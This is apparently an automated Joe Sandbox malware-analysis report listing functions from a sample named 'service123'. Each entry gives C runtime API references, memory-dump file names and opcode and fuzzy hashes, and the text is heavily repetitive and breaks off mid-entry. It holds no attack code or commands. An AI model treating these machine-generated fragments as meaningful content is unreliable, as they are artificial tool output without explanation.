abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFEA
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFEF
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF4
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF9
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFFE
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA40003

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 5eac3eb93eb1205794af55f209af21abbb2289cd1761d51a6e5555889a8fc40c
Instruction ID: 6881fbe29100c014d0b0c98291657235c00bc3e2d65bcec80dc36f01e1510c2e
Opcode Fuzzy Hash: 5eac3eb93eb1205794af55f209af21abbb2289cd1761d51a6e5555889a8fc40c
Instruction Fuzzy Hash: 60C08C21F8A2184303202E2A84D887AD3B80BBB26BF453A48D408B3F608A12C814403A

Function 6C96BCC7 Relevance: 33.0, APIs: 22, Instructions: 36COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF97
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF9C
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFA1
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFA6
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFAB
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFB0
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFB5
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFBA
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFBF
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFC4
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFC9
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFCE
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFD3
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFD8
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFE0
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFE5
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFEA
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFEF
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF4
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF9
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFFE
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA40003

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: d2aeafaefbd6b4bcce678b3b4d147da559cf69c3f320cd68c1dee415a23c4f58
Instruction ID: 3b658b382926ede9f41bb78c02b17d8537f894bc398e7fcfef439346c75983e9
Opcode Fuzzy Hash: d2aeafaefbd6b4bcce678b3b4d147da559cf69c3f320cd68c1dee415a23c4f58
Instruction Fuzzy Hash: 11C08C21E8A5184303201E2A449887BD2B44BFB24AF453948D818B3F248B21C814403A

Function 6C96BCB5 Relevance: 33.0, APIs: 22, Instructions: 35COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF97
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF9C
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFA1
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFA6
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFAB
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFB0
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFB5
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFBA
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFBF
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFC4
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFC9
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFCE
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFD3
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFD8
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFE0
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFE5
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFEA
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFEF
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF4
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF9
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFFE
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA40003

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: ecc3f97e26509b5f81940f96f499fe1bdcfdc25d0e31a53af0a64b1746316d8c
Instruction ID: 6b88d9073f5bc4c7ffdbf980c3673833db1b0d6ce91f0c3493ab9ef49e391f4b
Opcode Fuzzy Hash: ecc3f97e26509b5f81940f96f499fe1bdcfdc25d0e31a53af0a64b1746316d8c
Instruction Fuzzy Hash: E3C09213E9B8084613111E3E09AC1B7C43507A328EF91354CD819B3E68DE12C028203E

Function 6C96CB40 Relevance: 28.9, APIs: 19, Instructions: 438stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C96CBB7

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: 3ab0258741a497d01876f296aa57f5261cfdc0ddd1fcecc6552b226af104aa6a
Instruction ID: 9482b4878bfb4f77530aac61f6f7984a2691a9d5e25631d532c9b401f7a78180
Opcode Fuzzy Hash: 3ab0258741a497d01876f296aa57f5261cfdc0ddd1fcecc6552b226af104aa6a
Instruction Fuzzy Hash: 99F1E4B15083904FEB01DF2AC090355BFE6AF46318F1886AEE8A84BFD6C776D549CB41

Function 6C96C380 Relevance: 28.6, APIs: 19, Instructions: 148COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFA6
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFAB
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFB0
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFB5
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFBA
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFBF
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFC4
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFC9
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFCE
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFD3
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFD8
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFE0
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFE5
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFEA
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFEF
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF4
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF9
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFFE
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA40003

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: bc2ceb5d9540b30606090eff2ead8b5f55186db340d1d0757cd5b4953babe1a9
Instruction ID: 67f40231a6dbafc993d9d437375c6ba23477ca34f25206f2d049b29e894ad919
Opcode Fuzzy Hash: bc2ceb5d9540b30606090eff2ead8b5f55186db340d1d0757cd5b4953babe1a9
Instruction Fuzzy Hash: FF51F831A416199FDB14DF29C4507F9BBF2BF45354F09412AE8AC9BB81D330E9528B85

Function 6C96D1A0 Relevance: 27.1, APIs: 18, Instructions: 124sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 6C96CB40: strlen.MSVCRT ref: 6C96CBB7

Sleep.KERNEL32 ref: 6C96D307
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFB0
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFB5
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFBA
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFBF
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFC4
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFC9
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFCE
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFD3
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFD8
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFE0
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFE5
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFEA
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFEF
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF4
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF9
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFFE
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA40003

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: abort$Sleepstrlen
String ID:
API String ID: 68130653-0
Opcode ID: 7a330d90bdabb3ff4aedc09dc9c22b6ba29b6543f5b7eb3f9217391461d463f0
Instruction ID: 76ec4bfb71508d9330d76ca6e150fad9aa053f21e1d552e2fb5fe552385053c3
Opcode Fuzzy Hash: 7a330d90bdabb3ff4aedc09dc9c22b6ba29b6543f5b7eb3f9217391461d463f0
Instruction Fuzzy Hash: 81512DA464A3C6CBFF09EF3980057417FF46753308F188959C6984B782C3BA8C0AC7A6

Function 6C96D3A0 Relevance: 24.1, APIs: 16, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: 9504fb330f997022873650579693382070a3f375e51f29d6ba7514ff04e8c111
Instruction ID: 2473801fb9f53d56c869a806450898fc29ca86c9dd2841e51863f8de0274c525
Opcode Fuzzy Hash: 9504fb330f997022873650579693382070a3f375e51f29d6ba7514ff04e8c111
Instruction Fuzzy Hash: 6431E5726193008FE7209F2AD48076AB7E4AF86308F24992DE998C7F85D335DC44CB91

Function 6C96D4C0 Relevance: 22.6, APIs: 15, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: dc324bdf87eaf86b1161560dc73ab6354dfbb30c44dee7344a5bd95b11e58e10
Instruction ID: db016dabbb4142a7ed57b1f42eb9cd33db217da03f9a2268277628e5d84d4e69
Opcode Fuzzy Hash: dc324bdf87eaf86b1161560dc73ab6354dfbb30c44dee7344a5bd95b11e58e10
Instruction Fuzzy Hash: 80413CB16093018FE710DF1EC49072AFBE4EF8A318F20892EE598C7B91D375D8448B92

Function 6C970F20 Relevance: 22.6, APIs: 8, Strings: 4, Instructions: 1586stringCOMMON

Download Yara Rule

APIs

localeconv.MSVCRT ref: 6C970F2A
strlen.MSVCRT ref: 6C970F34

Strings

, xrefs: 6C97231D
5, xrefs: 6C971592
!, xrefs: 6C972AD0
inity, xrefs: 6C971FAF

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: localeconvstrlen
String ID: $!$5$inity
API String ID: 186660782-1328200385
Opcode ID: 39e04db88c3bc4820b39f18c03bb2ae0dc919f0a8c27dcb6f0216810e4d5b9f6
Instruction ID: 41fbeda4c641344d69bd7e5f7c005e8cf0188194264d2981429317949a7ce613
Opcode Fuzzy Hash: 39e04db88c3bc4820b39f18c03bb2ae0dc919f0a8c27dcb6f0216810e4d5b9f6
Instruction Fuzzy Hash: 2AF22371A0A781CFD720CF29C09479ABBE1BF8A308F11891DE8C997B50D775E845CB62

Function 6C96FDC0 Relevance: 21.7, APIs: 7, Strings: 5, Instructions: 659stringCOMMON

Download Yara Rule

APIs

localeconv.MSVCRT ref: 6C96FDCF
strlen.MSVCRT ref: 6C96FDDF
isspace.MSVCRT ref: 6C96FE1D
_strnicmp.MSVCRT ref: 6C96FE92
_strnicmp.MSVCRT ref: 6C96FEB5

Strings

INITY, xrefs: 6C97011B
@, xrefs: 6C97060A
INF, xrefs: 6C96FE87
P, xrefs: 6C970600
NAN, xrefs: 6C96FEAA

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: _strnicmp$isspacelocaleconvstrlen
String ID: @$INF$INITY$NAN$P
API String ID: 1481374036-3890526612
Opcode ID: af9cc2f358d060aac5b97427a26e979f9cd3ba27e0a3b3c218a6d0fc43c29510
Instruction ID: 57fa231f3d8a537011388c4f5a4860736996b32accffe670800dbf497662b6cf
Opcode Fuzzy Hash: af9cc2f358d060aac5b97427a26e979f9cd3ba27e0a3b3c218a6d0fc43c29510
Instruction Fuzzy Hash: 1B522571D053588FDB20DFA9C48439EBBF5BF48308F15852AE898ABB80E7359949CF51

Function 6C96D645 Relevance: 21.0, APIs: 14, Instructions: 42COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFBF
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFC4
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFC9
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFCE
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFD3
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFD8
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFE0
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFE5
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFEA
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFEF
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF4
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF9
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFFE
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA40003

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: e7a5a2e3b0202167b5063cbdb85c9978d21a1b11388f9f3fd8ea9473ac2a03b8
Instruction ID: 7342348f5e595bcca0b18eb44eaf90696122dcdc700cba9caae0d82c6ca022d3
Opcode Fuzzy Hash: e7a5a2e3b0202167b5063cbdb85c9978d21a1b11388f9f3fd8ea9473ac2a03b8
Instruction Fuzzy Hash: F1F0E571D051454BE710EF29C84433AB7B06B4330CFA8298CD9586BF82C729EC5ECB96

Function 6C96D6A8 Relevance: 19.5, APIs: 13, Instructions: 46COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFC4
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFC9
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFCE
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFD3
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFD8
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFE0
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFE5
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFEA
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFEF
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF4
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF9
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFFE
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA40003

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: db502af0bcbaba19507fcc3c953b92c05ac0d250359c577746b6481fef969127
Instruction ID: 749c890a7a41beb961431f2f8b1ed6d5bc8463c50fab2fbaddfa5d9fa67ca9ce
Opcode Fuzzy Hash: db502af0bcbaba19507fcc3c953b92c05ac0d250359c577746b6481fef969127
Instruction Fuzzy Hash: 0AF02EB08552454FE310DF19C880775BBB47B43315F582888D8881BF92C335D898CBB1

Function 6C96D8A0 Relevance: 18.1, APIs: 12, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: 5609a68f96cad8997409015a4f388c5bfc119f5c7ea5cc24c68ff93e084cf65a
Instruction ID: ac8163f080bd6c56b125b59c7a5e1a2a91f1ad8d72d07e9daf232f819a968fad
Opcode Fuzzy Hash: 5609a68f96cad8997409015a4f388c5bfc119f5c7ea5cc24c68ff93e084cf65a
Instruction Fuzzy Hash: F0418271A012189BEB10DF5AC8807DEB7B1FF95308F2485A9D859A7B50D730EE88CF91

Function 6C96DC60 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 75COMMON

Download Yara Rule

Strings

